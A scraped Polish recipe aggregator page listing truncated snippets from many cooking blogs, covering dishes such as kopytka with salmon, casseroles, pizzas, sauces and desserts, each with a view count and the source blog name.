smaku. 1. Kurczaka pokrój na małe kawałki i dopraw solą oraz pieprzem 2. Na patelni rozgrzej olej i usmaż mięso. 3. Wymieszaj majonez z jogurtem i tak powstałym sosem posmaruj tortille. 4. Na placki wyłóż porwane liście sałaty i przestudzonego kurczaka, po czym zawiń tortille jak naleśniki. Tortille możecie oczywiście wykorzystać gotowe ze sklepu, ale jeśli nie macie, możecie też

Z notatnika dietetyka
Kopytka z łososiem w sosie 268

groszku 1 większa cebula 100 g jogurtu naturalnego garść rzeżuchy lub innej zieleniny sól, pieprz kopytka: 800 g ugotowanych ziemniaków 100 … Czytaj dalej Kopytka z łososiem w sosie

czarrna od kuchni
TARTA Z ŁOSOSIEM I SZPINAKIEM 121

jajka rozbełtaj z mlekiem, dopraw solą i pieprzem zalej zapiekankę masą jajeczną piecz w 200ºC ok 35 minut aż jajka się zetną i wierzch zacznie rumienić podaj np z sosem ziołowo-cytrynowym Smacznego! :) (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł TARTA Z ŁOSOSIEM I SZPINAKIEM pochodzi z serwisu SandraFrej.com

SandraFrej.com
Indyk – co warto wiedzieć o mięsie z indyka? Przepis na roladki z indyczego udźca 168

gotowania wraz ze śmietanką 34%. Po pierwsze przepis ten jest bardzo prosty, a po drugie te roladki to niebo w gębie! Koniecznie musicie wypróbować! Zaparzana pierś z indyka w sosie mango-curry z groszkiem cukrowym i smażonym ryżem Artykuł Indyk – co warto wiedzieć o mięsie z indyka? Przepis na roladki z indyczego udźca pochodzi z serwisu Czynniki Pierwsze

Czynniki pierwsze
Red kiblle z Expanse 172

surowymi boczniakami, dodajemy mąkę ziemniaczaną i mieszamy. Lepimy kulki i obtaczamy w przyprawie do grilla. Pieczemy jakieś 15 min w nagrzanym do 180 stopni piekarniku. Z koncentratu robimy prosty sos rozcieńczając go wodą

Kryzysowa Książka Kucharska
Zapiekanka gołąbkowa 152

Przykrywamy pozostała kapustą. Na patelnię z cebulką wlewamy przecier pomidorowy, dodajemy czosnek, przyprawiamy solą, harissą i przyprawą do mięs, dodajemy miód do smaku, zagotowujemy. Na końcu dodajemy posiekaną bazylię. Sos przelewamy do naczynia. Pieczemy 45 minut w temperaturze 180 st. C. Smacznego

Maminek kulinarny
Sosy do mięs i warzyw - 4 proste przepisy 147

proste przepisy na pyszne sosy do mięs z grilla ,warzyw i sałatek czy na kanapki.Każdy zupełnie inny. Każdy zrobicie w 5 min.Polecam gorąco

Swojskie jedzonko
Grillowany kurczak z batatem, quinoą i zieloną sałatką 195

kurczak pozostał miękki i soczysty. Ogórka i smaczliwkę kroimy na plasterki, układamy na talerzu i posypujemy kiełkami lucerny (dla osób, które nie sa na C9 polecam polać jakimś lekkim sosem do sałatek) Quinoę mieszamy z utartym kuminem, wykładamy na talerz ( TU przeczytasz jak dobrze ugotować quinoę). Na końcu kroimy upieczonego batata w grube frytki  przekładamy na talerzu plastrami kurczaka

Quinoa Raz!
Makaron po florencku 215

maśle. Następnie dodajemy osączone z zalewy, pokrojone w paski pomidory suszone, czosnek przeciśnięty przez praskę, zalewamy bulionem i śmietanką, dodajemy przyprawy oraz mozarellę pokrojoną w plastry, dusimy aż sos zgęstnieje. Dodajemy szpinak, dusimy 3 minuty aż zwiędnie. Podajemy z ugotowanym makaronem

słodki bratek
Pasta z tuńczyka, pasta tuńczykowa 136

ilość dodatkiem na wierzch kanapki. Ja do zrobienia pasty użyłam tuńczyka w oleju i właśnie ten olej też dodałam do pasty, żeby nie była mdła. Jeśli używacie tuńczyka w sosie własnym, dodajcie 2-3 łyżki oliwy lub oleju, szczególnie jeśli użyjecie chudego lub półtłustego sera białego. Dość gadania, pora robienia. Pastę zrobicie w 5-10 minut. Drukuj Pasta z tuńczyka

Mieszam w Garnku
Surówka z czerwonej kapusty 142

dodajemy drobno pokrojoną cebulę, starte jabłko ( na grubych oczkach) ,marchewkę oraz posiekaną  zieloną cebulkę lub koperek. Przyprawiamy według uznania solą i pieprzem. Wszystko razem mieszamy.  Przygotowujemy sos. Śmietanę łączymy z majonezem i musztardą. Mieszamy i polewamy naszą kapustę. Dokładnie całość mieszamy i gotowe

noteskulinarnyfiga
Ciasto kruche z połówkami jabłek 150

wymieszanymi z odrobiną mleka. Pieczemy w 180 stopniach (góra-dół) przez około 40-45 minut. Przed podaniem delikatnie studzimy, ale warto jeść je jeszcze na ciepło z lodami lub sosem waniliowym. Smacznego! Artykuł Ciasto kruche z połówkami jabłek pochodzi z serwisu Analiza Smaku

Analiza Smaku
WIOSENNA ZUPA Z POKRZYWY 165

listków młodej pokrzywy ● 300 g ziemniaków ● 2 cebule ● 1 litr wody ● bulion warzywny bio (1-2 kostki) ● 2 łyżki oliwy z oliwek ● 15 cl śmietany kremówki lub śmietany do sosów i zup ● sól, pieprz ● pestki dyni (opcjonalnie) Przygotowanie: Cebulę obierz i drobno posiekaj. Pokrzywę opłucz (załóż rękawiczki!), oberwij listki, jeśli pokrzywa jest młoda, możesz również użyć gałązki. Ziemniaki obierz, pokrój

Smaki Francji współczesna kuchnia francuska
Makaron z jajkiem, cukinią i pomidorami 169

danie powstało kiedy potrzebowałam zrobić szybki, zdrowy obiad. Jajko zamiast sosu okazało się strzałem w dziesiątkę:).  100g makaronu 1 cukinia 1 pomidor 1 cebula 2 ząbki czosnku 2 jajka L sól, pieprz 1 łyżka masła szczypiorek 1. Makaron gotujemy zgodnie z przepisem na opakowaniu. Cukinię, pomidora i cebulę kroimy w kostkę. Czosnek przeciskamy przez praskę.  2. Na rozgrzanym

Szefowa kuchni
Makaron musze nadziewany wędzonym łososiem, kaparami, serami w sosie śmietanowym 160

Trochę dlatego, że to danie typu "spacerek przez lodówkę" lub ujmując to modniej.. "zero waste", a trochę dlatego, że to jest zwyczajnie "prze-py-szne". Czy to w sosie śmietanowym, czy pomidorowym, nadziewane muszle są genialne i można tam wpakować absolutnie wszystko.   Składniki (na 2 porcje): 15- 20 wielkich makaronowych muszli  50 g sera camembert

Mango Papaja
Placki z parówkami, pieczarkami i żółtym serem + film 137

żółtym serem to ciekawa, prosta i niedroga propozycja na szybki obiad dla całej rodziny. Takie placki wspaniale smakują zarówno na gorąco jak i na zimno z dodatkiem różnych sosów, z pewnością zadowolą nie jedno podniebienie.     składniki na około 15 sztuk 250 g parówek 200 g pieczarek 150 g żółtego sera 1 czerwona papryka 1 czerwona cebula 1 pęczek

Smakowite Dania
Kopytka 136

Przepis na tradycyjne kopytka. Mogą być daniem głównym lub dodatkiem do innych potraw, np. gulaszu, mięsa duszonego. Czas przygotowania: 40 minut Ilość porcji: >4 osób Trudność

karolgotuje
Chlebek pizza – pyszny i prosty do zrobienia 122

dół (aż skórka lekko zbrązowieje).   [caption id="attachment_8970" align="aligncenter" width="803"] Chlebek pizza[/caption] Zobacz inne przepisy na domowy fast-food: Zapiekanka Tostowa Z Szynką I Sosem Pomidorowym Kapsalon – Wyśmienity Fastfood Bagietki Zapiekane Z Mięsem Mielonym Naleśniki Z Gyrosem Zapiekane W Piekarniku Pieczone Nuggetsy Z Kurczaka – Odchudzony Przepis Chlebki Pita Z Sałatką Gyros

e-PrzepisyKulinarne
„Shakshuka” w ryżu z kalafiora 129

kalafiora. Jest zdrowe i pyszne. Czas: 30 minut Poziom trudności : Łatwe Liczba porcji : 2 Danie nazwaliśmy shakshuka, bo sposób wykonania jest podobny jak w klasycznej zapiekance z jajek i sosu pomidorowego. My całość zrobiliśmy na kuchence, ale, jeśli chcesz przyspieszyć gotowanie, to po wybiciu jajek wstaw je pod grill w piekarniku i zapiecz. Spróbuj też naszego przepisu na oryginalną najprostszą

Niedzielny kucharz
Kluski śląskie 197

takim wydaniu stały się tradycyjnym daniem w kuchni śląskiej. Jednak nie tylko w tym rejonie cieszą się ogromnym zainteresowaniem. Polubili je Polacy w całej Polsce. Najlepiej komponują się z sosem pieczeniowym, grzybowym czy pomidorowym. Polecamy Wam również nasze inne przepisy na dania główne . Składniki: 500 kg ugotowanych ziemniaków 300 g mąki ziemniaczanej 1 jajko Sól Sposób przygotowania: Obieramy ziemniaki

FoodMagazine.pl - Przepisy kulinarne
Kruche babeczki z kremem maślanym 185

Krem: Przygotować zasmażkę: Masło rozpuścić w garnku o grubym dnie, dodać mąkę i smażyć przez chwilę. Dolać mleko i energicznie mieszać dalej podgrzewając do momentu, aż znikną grudki a sos zgęstnieje. Zasmażkę ostudzić. Masło rozetrzeć z cukrem. Dalej ubijając dodawać po 1 łyżce zasmażki. Dodać cytrynę. Na spody wyłożyć powidła a następnie krem. Do kremu można dodać barwniki spożywcze

Mama Gotuje
Kotleciki z młodej kapusty 429

zbyt wodnista można dodać jeszcze trochę mąki. Formować okrągłe kotleciki, które następnie panierować w bułce tartej. Kotleciki smażyć na rozgrzanym oleju z obu stron na rumiano. Można podawać z sosem pomidorowym lub pieczarkowym lub z ulubioną surówką

Smakołyki Asi
30 PRZEPISÓW – PODSUMOWANIE KWIECIEŃ 2020 123

MIODEM PLACUSZKI KOKOSOWE CHRUPIĄCE ZIEMNIAKI W MUNDURKACH MROŻONA HERBATA Z GREJPFRUTEM MASŁO Z NERKOWCÓW TORT HONDA I DOMO KUN SURÓWKA Z CZERWONEJ KAPUSTY DIP Z NERKOWCÓW Z KOLENDRĄ SOS DO SAJGONEK OMLET Z ŁOSOSIEM MASŁO ORZECHOWE SOLONY KARMEL HUMMUS NA SŁODKO WANILIOWY CZEKOLADOWY HUMMUS NA SŁODKO DALGONA CHOCOLATE – UBIJANA CZEKOLADA (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł 30 PRZEPISÓW – PODSUMOWANIE KWIECIEŃ

SandraFrej.com
Świąteczny schab pieczony 123

najlepiej na dobę. Po tym czasie wyjmujemy z lodówki, czekamy troszkę aby mięso odpoczęło. W tym czasie nastawiamy piekarnik na 180-200 stopni, schab wkładamy do foliowego rękawa, wlewamy sos z wody i oleju. Ściśle sznurujemy i wkładamy do piekarnika na 1,5 godziny. Po tym czasie studzimy oraz wkładamy do lodówki. Schab nadaje się zarówno jako danie obiadowe

Kocham Czekoladę
Świąteczna karkówka pieczona 142

najlepiej na dobę. Po tym czasie wyjmujemy z lodówki, czekamy troszkę aby mięso odpoczęło. W tym czasie nastawiamy piekarnik na 180-200 stopni, karkówkę wkładamy do foliowego rękawa, wlewamy sos z wody i oleju. Ściśle sznurujemy i wkładamy do piekarnika na 1,5 godziny. Po tym czasie studzimy oraz wkładamy do lodówki

Kocham Czekoladę
Pizza z kurczakiem i szynką 133

pizzę. Później, przygotować papier do pieczenia o wymiarach zbliżonych do blachy i przy pomocy dłoni dokładnie rozprowadzić po całej jego powierzchni łyżkę oliwy. Na rozłożone ciasto w kolejności układamy: sos pomidorowy/ketchup, pieczarki z cebulą i szynką, ser. Nagrzaną blachę ostrożnie wyciągnąć i zsunąć papier z pizzą na blachę. Pizzę piec w piekarniku rozgrzanym do 240st C (z termoobiegiem) około

Kocham Czekoladę
Pizza z szynką szwarcwaldzką i wędzonym serem 154

pizzę. Później, przygotować papier do pieczenia o wymiarach zbliżonych do blachy i przy pomocy dłoni dokładnie rozprowadzić po całej jego powierzchni łyżkę oliwy. Na rozłożone ciasto w kolejności układamy: sos pomidorowy/ketchup, pieczarki z cebulą, szynkę pokrojoną w cienkie plasterki, ser. Nagrzaną blachę ostrożnie wyciągnąć i zsunąć papier z pizzą na blachę. Pizzę piec w piekarniku rozgrzanym do 240st

Kocham Czekoladę
Sałatka Panzanella 137

prostotą składników. Kolejny raz udowadniamy, że mniej znaczy więcej. Tutaj głównymi składnikami są pomidorki koktajlowe oraz grzanki, a dodatki to czerwona cebula, kapary i listki bazylii. Do tego jeszcze sos przygotowany na bazie oliwy i octu. No mówię Wam, pysznie jest! Miałam to szczęście, że trafiłam na wspaniałe, słodziutkie pomidorki. To one w głównej mierze odpowiadają za efekt końcowy, dobrze

Smaki Na Talerzu
Gulasz z szynki z warzywami i pieczarkami 138

warzywami i pieczarkami to doskonała propozycja na szybki oraz bardzo smaczny obiad. Jest bardzo aromatyczny i pożywny. Miękkie mięso idealnie łączy się z warzywami, dodatkiem pieczarek oraz delikatnym sosem. Polecam! Gulasz z szynki z warzywami i pieczarkami - składniki: 500g szynki wieprzowej (można użyć innego mięsa) 2-3 garście włoszczyzny mrożonej (można użyć świeżych warzyw) 5 pieczarek (większych) 1 cebula

Di gotuje
Spaghetti Aglio e Olio 162

się nasz makaron. Będzie nam potrzebna. Makaron odcedzić. 4. Na czystą patelnię wlać wodę z makaronu, dodać makaron i całość gotować na większym ogniu ciągle mieszając, aż zrobi się sos, który pokryje nam makaron. Zdjąć z ognia, dodać przygotowaną wcześniej oliwę z czosnkiem i papryczką. Wymieszać. Dodać natkę pietruszki i tarty parmezan i ponownie zamieszać. Od razu podawać. Smacznego!!! Źródło

Kuchnia domowa Ani
Cukinia na grilla 216

kcal na 100 g. Cukinię kroimy wedle uznania, albo w podłużne paski, albo dzielimy ją na krążki. Cukinię możemy grillować z dodatkiem ziół, czy też marynowaną w czosnku czy sosie sojowym. Dzisiaj zapraszam Was na cukinię marynowaną w czosnkowej marynacie. Jest bardzo wyrazista w smaku i jest to idealne połączenie. Polecamy Wam również nasze inne przepisy na warzywa z grilla

FoodMagazine.pl - Przepisy kulinarne
Smalec z fasoli 236

Składniki: 1 puszka fasoli białej 1 cebula 1 małe jabłko 1 łyżeczka majeranku 1 łyżka sosu sojowego sól, pieprz Przygotowanie: Cebulę drobno posiekać i zeszklić, dodać starte jabłko i majeranek … Czytaj dalej Smalec z fasoli

czarrna od kuchni
Mrożonki. Wady mrożonek i zalety mrożenia jedzenia. 136

jędrność, ale i smak, dlatego nie wolno ich mrozić (arbuzy, pomidory, ogórki, sałata). Również produkty białkowe nie nadają się do przechowywania w ten sposób: śmietana, jogurt, żółty ser. Jajka, sosy majonezowe, gotowane ziemniaki i napoje gazowane także nie powinny znaleźć się w zamrażalniku. Mrożonki odpowiednio stosowane mogą urozmaicić menu w sezonie, gdy świeże warzywa i owoce są rzadkością. Właściwe planowanie

ProstePesto.pl
Pieczarkowa patelnia 685

ładnie przyrumienione. Dodać cebulę pokrojoną w kostkę i przyprawić danie. Gdy cebula będzie szklista dodać czosnek, smażyć jeszcze 1 minutę i wlać śmietanę. Gotować na małym ogniu do redukcji sosu i miękkości grzybów. Dodać boczek i wymieszać danie. Podawać zaraz po przygotowaniu. Propozycja: Danie można przełożyć do naczynia żaroodpornego, posypać serem mozzarella i zapiekać do zrumienienia sera. Smacznego Makro

serzmiesem
Surówka z modrej kapusty z jabłkiem 180

obiadu. Robię je bardzo często i podaję do dań zarówno mięsnych, jak i rybnych. Z surówkami podobnie jak z sałatkami, wystarczy zmienić jeden lub dwa składniki lub zrobić inny sos i mamy zupełnie inny smak. W okresie zimowym jako dodatek do obiadu wykorzystuję na przykład surówki ze słoików, które przygotowałam jako przetwory. Natomiast w okresie wiosenno-letnim przyrządzam surówki

Danka Pichci
Sałatka kolorowa latosiowa 129

garście 1 dojrzałe avocado 1 jajko kilkanaście zielonych oliwek ser camembert dressing: 2 łyżki oliwy z oliwek, łyżeczka miodu, szczypta chilli, odrobina soli, pieprzu czarnego i łyżka sosu z cytryny sól i pieprz Robimy! Jajko gotujemy na twardo. dzielimy na 4 cząstki. Camembert kroimy w paseczki Tuńczyka odsączamy i mieszamy z majonezem i odrobiną soli i pieprzu. Na półmisku układamy

Latosiowydom
Szybki przepis na obiad z makaronem 203

przepis na makaron jest chyba jednym z łatwiejszych. Minimalna ilość składników, szybkie wykonanie, ale za to jak pysznie Makaron świderki, polędwica sopocka, pieczarki i pomidorki. Do tego prosty śmietanowy sos i nic więcej nie trzeba. No dobrze – odrobinę przypraw, bo bez nich ani rusz Spróbujcie. Prosty i smaczny obiad z makaronem . Składniki: 2 porcje makaronu świderki Eko-Mak Makarony

Słodkie okruszki
Zapiekanka z kurczakiem, ryżem i warzywami 157

ułożyć piersi z kurczaka. Do garnuszka wlać śmietanę, pomidory, dodać obrany i przeciśnięty przez praskę czosnek i doprawić całość solą, świeżo mielonym pieprzem i ziołami prowansalskimi. Tak przygotowanym sosem zalać mięso i ryż (ryż lekko wymieszać, tak aby od spodu również był mokry). Na wierzchu ułożyć warzywa, nałożyć pokrywę naczynia i włożyć do piekarnika. Potrawę piec 45 minut. Zdjęcia

Passions hobbies life
Miód i pyłek kwiatowy. Bomba witamin i minerałów 118

urazach tego narządu. Pyłek kwiatowy poprawia funkcjonowanie naszego mózgu dzięki czemu mamy lepszą pamięć, koncentracje i szybciej się uczymy. Polecane przepisy z miodem: Amerykańskie żeberka w miodowo pomidorowym sosie Syrop z mniszka lekarskiego o leczniczych właściwościach Mango Lassi z soczystą brzoskwinią i melisą Artykuł Miód i pyłek kwiatowy. Bomba witamin i minerałów pochodzi z serwisu ProstePesto

ProstePesto.pl
139. Pieczony dorsz w cytrynowo-pietruszkowo-maślanej panierce z orzechami, czyli lekki i smaczny obiad 189

naszą panierkę (można to zrobić palcami lub łyżką). Naczynie przykrywamy folią aluminiową i wkładamy do nagrzanego piekarnika na 20minut. Po tym czasie folię odkrywamy, filety polewamy powstałym na dnie sosem i pieczemy jeszcze 5 minut w 180*C (funkcja góra). Rybę serwujemy z ulubioną kaszą, ziemniakami i sałatką. Smacznego :) (function(d, s, id) { var js, fjs = d.getElementsByTagName

Symfonia Smaków
KURCZAK W SOSIE CHRZANOWYM 129

mieszając. Podlać bulionem, zmniejszyć ogień i dusić mięso ok 15 minut. Śmietanę wymieszać z chrzanem i mąką. Wlać do mięsa, wymieszać,doprawić solą oraz pieprzem, gotować kilka minut. Gdy sos wyjdzie za gęsty można podlać bulionem. Pod koniec można dodać posiekaną natkę pietruszki

Niespełnione zdolności kulinarne
DOMOWY MAKARON ORKISZOWY 141

makaron. Tak więc mama zakasała rękawy i ukręciła domowy makaron. Zwiększyłam ilości i uprościłam mój poprzedni wpis . Polecam, smak i frajda niesamowita. Idealny do rosołu, ale także do sosów. Składniki: - 500g mąki orkiszowej typ700 lub typ500 lub typ450 lub 550g typ750  (lub 500g pszennej tortowej) - 5 jajek (u mnie wiejskie, ale wielkość ok. "L") - 5 łyżeczek oliwy (daję

Smaczne Zdrowe
Krewetki w czosnku z grilla 127

krewetkami, można było dać jej nieco więcej czasu, aby się trochę mocniej podpiekła. Ale i tak było znakomicie. Ciepły sok z podpieczonej cytryny połączony z czosnkowym masłem tworzy przepyszny sos. Bardzo polecam! Inspiracja ze strony  Damn Delicious Krewetki w czosnku z grilla - przepis składniki 50 g  niesolonego masła 1 szalotka, drobno posiekana 3-4 ząbki czosnku, posiekane

Stare Gary
Tradycyjne Ciasto Zebra- na oranżadzie 147

litra więc masę rozlać po 750 ml)- do jednej wmieszać kakao, a do drugiej mąkę. Tortownicę wysmarować masłem i obsypać mąką. Łyżkę (najlepiej chochelką lub łyżką do sosu) jasnego ciasta wylać na środek formy, na nią wlać chochelkę ciemnego ciasta- wlewać tak na przemian, aż do wyczerpania ciasta. Piec w 180 stopniach przez 45 minut, a najlepiej do suchego patyczka

Kraina Miodem Płynąca
Pieczarki faszerowane białą kiełbaską 155

odmian kiełbasek, które wyróżnia się na podstawie tego jakie przyprawy zostały dodane do mięsa.  Inne dania przygotowane z brytyjskimi kiełbaskami, które możecie znaleźć na blogu to kiełbaski w sosie cebulowym na pure z ziemniaków .  Polecam wypróbować! Pieczarki faszerowane białą kiełbaską Składniki:  8-10 pieczarek średniej wielkości 6 małych surowych kiełbasek 1 szalotka 1 ząbek czosnku natka pietruszki

Codzienne Gotowanie
Naleśniki z pieczarkami 127

słodko, jak np. naleśniki z bananami . Świetnie sprawdzają się również na wytrawnie. Ostatnio były naleśniki z brokułami w orientalnym stylu. Dzisiaj natomiast przygotowałem naleśniki z pieczarkami, w kremowym sosie na bazie mleczka kokosowego. Naleśniki z pieczarkami… i co jeszcze? Pieczarki w mojej kuchni widuję bardzo często. Z dań obiadowych polecam Ci jednogarnkowy makaron , w którym pieczarki grają pierwsze skrzypce

Blendman
Wiosenny garnek czyli klopsiki z młodą kapustą 401

przykryciem, na małym ogniu, przez około 20 minut. Po tym czasie dodajemy posiekany koperek *** *** Następnie mąkę rozrabiamy z niewielką ilością wody, wlewamy na patelnie i od razu mieszamy, aż sos zgęstnieje. Gotujemy jeszcze przez kilka minut często mieszając *** *** Podajemy z ugotowanymi młodymi ziemniaczkami lub ze świeżym pieczywem *** *** SMACZNEGO ***     POLECAM TAKŻE: DANIA JEDNOGARNKOWE – POMYSŁY NA SZYBKIE I PYSZNE OBIADY

Blog z Apetytem
Skarby natury. Majeranek. Uprawa i zastosowanie 130

Jedna z najpopularniejszych przypraw w polskiej kuchni o klasycznym, choć odrobinę niepozornym wyglądzie. Majeranek to roślina jednoroczna, która doskonale sprawdza się zarówno do dań mięsnych, jak i lekkich sałatek, sosów i zup. Uprawa majeranku jest bardzo prosta i sprowadza się do przestrzegania kilku podstawowych zasad. Najlepszy termin na wysiew do doniczek to marzec, kiedy wiosenne słońce powoli przynosi upragnione ocieplenie

ProstePesto.pl
Polskie specjały. Pierogi, pierożki, uszka. Niebo w gębie 135

każdym kraju istnieją wewnętrzne tradycje kuchenne. Każdy kraj posiada swoje dania narodowe. Dla jednych jest to makaron z sosem pomidorowym, czy ryż z warzywami. Dla innych krwisty stek lub gulasz. Polacy również posiadają swoje dania narodowe. I to nie jedno, lecz więcej. Do jednych z najbardziej popularnych polskich dań należą pierogi. Pierogi powstają z kawałka cienkiego i elastycznego ciasta, które

ProstePesto.pl
Co jeść, aby mieć piękną skórę? - część II 119

przeciwieństwie do większości substancji im bardziej przetworzymy pomidory, tym więcej likopeny będziemy mieli w produkcie finalnym, ponieważ uwalnia się on podczas rozdrabniania, gotowania czy smażenia. Tak więc sok, sos, zupa czy ketchup przygotowane z pomidorów będą bogatsze w likopen niż surowy pomidor. Oprócz pomidorów likopen możemy znaleźć także m.in. w czerwonej papryce, owocach dzikiej róży, arbuzach czy czerwonych grejpfrutach. Jego

Z notatnika dietetyka
Chimichanga 140

się zapiekła i nie rozwijała. Smaż chwilkę na małym ogniu (ale uważaj, żeby się nie przypaliła), po czym przewróć na drugą stronę i też chwilkę podsmaż. Gotową chimichangę polej sosem czosnkowym lub pikantnym i podawaj z guacamole lub ulubioną surówką. Odrobina Meksyku w Polsce gotowa! Tortillę możesz oczywiście wykorzystać gotową ze sklepu (ja miałam akurat pełnoziarnistą tortillę), ale jeśli

Z notatnika dietetyka
Kurczak Tikka Masala 176

Kurczak Tikka Masala to jeden z najbardziej znanych przepisów kuchni indyjskiej. Marynowane przez noc w jogurcie i przyprawach, a następnie grillowane kawałki kurczaka w pysznym pomidorowym sosie to świetny pomysł na ciekawy weekendowy obiad. Artykuł Kurczak Tikka Masala pochodzi z serwisu Pogotujmy.pl

Pogotujmy.pl
Zapiekanka makaronowa na podstawie sałatki gyros 136

będzie makaron penne, który jest doskonałą bazą do wszelakich zapiekanek oraz sałatek. Dołożymy szybko przyrządzonego kurczaka, warzywa konserwowe, choć możesz równie dobrze użyć na przykład świeżej papryki, ser, łatwy sos i gotowe. Pomysły na obiady. Przepisy  Schab w kapuście kiszonej Tarta z kurczakiem Młoda kapusta zasmażana Kotlety drobiowe Tortilla z kurczakiem gyros Pyszna zapiekanka inspirowana sałątka gyros. Zapiekanka makaronowa

MamaOskarka
Ekspresowe nadziewane foccacie z patelni 198

wypływało z wnętrza. Postępuj tak, aż do wykończenia składników. Gotowe foccacie smaż na suchej patelni ok. 6 minut (po 3 minuty z każdej strony). Podawaj z ulubionymi dodatkami, np. sosem czosnkowym. Smacznego Artykuł Ekspresowe nadziewane foccacie z patelni pochodzi z serwisu Z miłością do jedzenia

365 dni dookoła kuchni
Bułki pszenno żytnie razowe z suszonymi pomidorami 203

niezastąpiony w tego rodzaju wypiekach. Więcej bułeczek znajdziecie tutaj: Słodkie bułki pszenne z ziemniakami Bułeczki drożdżowe z wiśniami i czekoladą Bułeczki pszenno-żytnie Calzone z mięsem mielonym i domowym sosem BBQ Drożdżowe kieszonki z serem i szynką   Artykuł Bułki pszenno żytnie razowe z suszonymi pomidorami pochodzi z serwisu Słodkie Gotowanie

Słodkie Gotowanie
Jaglana z tuńczykiem i warzywami 170

tuńczykiem i warzywami. Nie macie pomysłu na obiad to warto zastanowić się co jest w lodówce. Potrawę można modyfikować. Kaszę dodać jaką macie, warzywa także. 185 g tuńczyka w sosie własnym 7 pomidorów suszonych 1/2 brokuła 8 pomidorków koktajlowych 1/3 szklanki kaszy jaglanej 1 cukinia mała koper, natka świeża sól, pieprz papryka chili 4 łyżki oliwy z pomidorów suszonych czosnek

wesoła kuchnia
Risotto z krewetkami i fasolką szparagową 189

Jeżeli użyjemy odpowiedniej ilości masła i oliwy z oliwek do smażenia krewetek, otrzymamy gęsty i intensywny sos. Reszty dopełni ryż arborio i warzywa.… Czytaj dalej Risotto z krewetkami i fasolką szparagową

Pij soki wyciskane
Domowy likier pomarańczowy 173

likierze pomarańczowym Grand Marnier Grand Marnier to francuski, dość mocny likier o pomarańczowym smaku. Jego recepturę opracował w 1880 roku  Alexandre Marnier-Lapostolle. Grand Marnier jest często składnikiem sosów do drobiu, zwłaszcza kaczki z pomarańczami. Świetnie pasuje do lodów waniliowych i ciast z owocami. Również popularny drink Margarita zawiera w swoim składzie ten właśnie likier lub Cointreau (likier

Cztery Fajery
Buraczki ze śmietaną (na ciepło) 201

Dodaj śmietanę i przyprawy. Całość smaż mieszając jeszcze przez około 2 minuty. Podawaj zaraz po przygotowaniu.     (adsbygoogle = window.adsbygoogle || []).push({}); Polecam dania… Rolada z mięsa mielonego Włoski sos bolognese Kalafiorowy MÓZG Cukinia faszerowana mięsem Paprykowe krążki nadziewane mięsem

Kulinarny S.O.S.
Buraczki ze śmietaną (na ciepło) 201

Dodaj śmietanę i przyprawy. Całość smaż mieszając jeszcze przez około 2 minuty. Podawaj zaraz po przygotowaniu.     (adsbygoogle = window.adsbygoogle || []).push({}); Polecam dania… Rolada z mięsa mielonego Włoski sos bolognese Kalafiorowy MÓZG Cukinia faszerowana mięsem Paprykowe krążki nadziewane mięsem

Kulinarne S.O.S.
Przepis na puree ziemniaczane 216

wyrabiaj ziemniaki, do momentu aż nie będzie gródek. Puree ziemniaczane podawaj posypane świeżym koperkiem, lub nacią pietruszki. Piure pasuje do takich dań jak: Kotlety mielone Kotlety schabowe Bitki w sosie Skrzydełka z piekarnika Gotowe! Dowiedzieliście się czegoś nowego z przepisu? Często robicie do obiadu piure? Podzielcie się w komentarzach 🙂 Artykuł Przepis na puree ziemniaczane pochodzi z serwisu Przepisy kulinarne

ugotuj-przepis.pl
Curry takie jak lubisz 218

Curry to sposób przygotowania potraw w kuchni indyjskiej. Są to różne składniki takie jak mięso, warzywa, ser gotowane w aromatycznym sosie. To super pomysł kiedy chcesz zrobić tzw. czyszczenie lodówki. Możesz dorzucić do niego wszystko co masz pod ręką. Serio. Wypróbuj koniecznie! Do czego użyć: najlepiej będzie smakowało jako samodzielne danie Przydatne wskazówki: Korzystaj z warzyw sezonowych i z tego

wiecejwarzyw.pl
FIT pancakes owsiane 136

inspirowane amerykańskimi naleśnikami pancakes.  Jeśli nie lubicie posmaku proszku do pieczenia czy sody, ubijcie białko do uzyskania piany i dopiero wtedy dodajcie resztę składników. Moja propozycja podania to sos z jogurtu i odżywki białkowej o smaku karmelowym, mrożone maliny i pokruszone płatki migdałowe.  Skusicie się na takie śniadanie?  SKŁADNIKI/ 2 PORCJE: jedna porcja z dodatkami dostarcza średnio

Kuchnia Ellie
Kotlety z farszu na pierogi ruskie 170

miękkie, dlatego najlepiej robić je mniejsze, wtedy szybciej się usmażą i będzie je łatwiej obrócić na drugą stronę. Ja dodatkowo przed smażeniem schłodziłam je w lodówce. Podajemy z sosem lub surówką

Kuchnia w czekoladzie
Deser banoffee 201

pudru Karmel: 200 ml śmietanki 30% 6 łyżek cukru trzcinowego 2 łyżki masła Karmel: w rondelku z grubym dnem rozpuścić śmietankę, masło i cukier. Podgrzewać mieszając do czasu aż sos trochę zgęstnieje i nabierze bursztynowego koloru. Odstawić do ostygnięcia. Krem: Mascarpone, śmietankę i cukier ubić na puszystą masę. Herbatniki drobno pokruszyć, banany pokroić w plasterki.  W pucharkach układać warstwy

Smakołyki Asi
Sernik z karmelem i orzechami pekan 185

niejednokrotnie. Przepis pochodzi z moich starych zapisków, jeszcze z czasów kiedy byłam kilkunastoletnią dziewczynką skrzętnie notującą wszystkie receptury na ciasta. Delikatna masa serowa idealnie komponuje się z lekko solonym sosem karmelowym oraz łagodnymi orzechami pekan. Jednym słowem... pychotka! Poza tym sernik zawsze ładnie wyrasta, nie pęka i doskonale się kroi. Koniecznie spróbujcie jaki jest rewelacyjny! Sernik z karmelem i orzechami

Di gotuje
Królik duszony w czerwonym winie 184

doprawiamy solą i pieprzem. Smacznego Królik duszony w czerwonym winie Zapraszam również do skorzystania z innych przepisów: Smażony ryż z jajkiem po chińsku Królik w śmietanie – przepis Pulpety w sosie koperkowym SCHAB PO BAŁKAŃSKU Artykuł Królik duszony w czerwonym winie pochodzi z serwisu Księga Smaku

Księga-Smaku
Marchewka z groszkiem 251

Zawsze korzystam z groszku mrożonego, jest o wiele smaczniejszy niż konserwowy z puszki, czy słoika. Polecam Ci marchewkę z groszkiem, jako dodatek na przykład do: kotlety schabowe , bitki w sosie cebulowym , kotlety mielone. Zaczynamy! Trudność: Łatwy Czas przygotowania: 20 min Czas gotowania: 20 min Całkowity czas: 40 min Ilość porcji: 4 osób Składniki: 550 g marchewki (500 g po obraniu

ugotuj-przepis.pl
Kuchnia Austrii i Niemiec. Taka bliska a tak nieznana 153

